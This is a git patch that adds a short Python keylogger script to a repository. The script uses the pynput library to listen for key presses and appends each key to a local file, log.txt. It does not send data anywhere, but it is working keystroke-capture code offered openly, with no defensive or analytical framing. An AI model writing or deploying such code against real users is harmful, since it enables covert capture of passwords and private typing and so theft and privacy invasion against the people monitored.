From e34e3f6024bcf5a8c4d3d6671b5f09a36e0880eb Mon Sep 17 00:00:00 2001 From: Anupam Mishra <66557767+anupamishra333@users.noreply.github.com> Date: Wed, 27 Oct 2021 23:18:27 +0530 Subject: [PATCH] Create keylogger.py --- Python/keylogger.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 Python/keylogger.py diff --git a/Python/keylogger.py b/Python/keylogger.py new file mode 100644 index 0000000..d7893e7 --- /dev/null +++ b/Python/keylogger.py @@ -0,0 +1,22 @@ +""" +install pynput library using this command: pip install pynput +to know more about pynput visit: https://pypi.org/project/pynput/ +""" +from pynput.keyboard import Listener + +def log_keystroke(key): + key = str(key).replace("'", "") + + if key == 'Key.space': + key = ' ' + if key == 'Key.shift_r': + key = '' + if key == "Key.shift": + key = '' + key+='\n' + + with open("log.txt", 'a') as f: + f.write(key) + +with Listener(on_press=log_keystroke) as l: + l.join()